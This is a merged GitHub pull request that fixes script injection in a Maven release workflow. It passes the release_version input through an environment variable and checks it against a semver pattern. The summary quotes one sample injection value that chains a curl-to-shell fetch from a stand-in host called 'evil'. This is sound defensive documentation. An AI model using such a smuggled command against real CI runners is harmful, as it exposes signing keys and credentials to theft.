Harden release workflow against script injection via release_version - #176
Merged
AndreasIgel merged 1 commit intoJul 15, 2026
Merged
Conversation
Pass the workflow_dispatch input through an env var instead of interpolating it into the run block, and validate it against a strict semver regex before use. Refs java-helpers#154 Co-Authored-By: Andreas Igel <andreas.igel@computacenter.com>
Codecov Report✅ All modified and coverable lines are covered by tests. 📢 Thoughts on this report? Let us know! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fixes script/command injection in the Maven Central release workflow.
Fixes #154
The
Determine versionstep interpolated the untrustedworkflow_dispatchinput directly into arun:shell block:GitHub expands
${{ ... }}into the script text before the shell runs, so an input like0.0.0"; curl evil | sh; echo "executes arbitrary commands on the runner — which holds the GPG signing key and Maven Central credentials (supply-chain risk).Change:
env: RELEASE_VERSION: ${{ github.event.inputs.release_version }}and read"$RELEASE_VERSION"in the shell (env values are not expanded by the workflow templating engine).steps.version.outputs.VERSION, which is now guaranteed to be sanitized semver.Validation
Workflow-only change; the Maven build is unaffected. Validated with
actionlint(passes). Scoped to todo #1 only.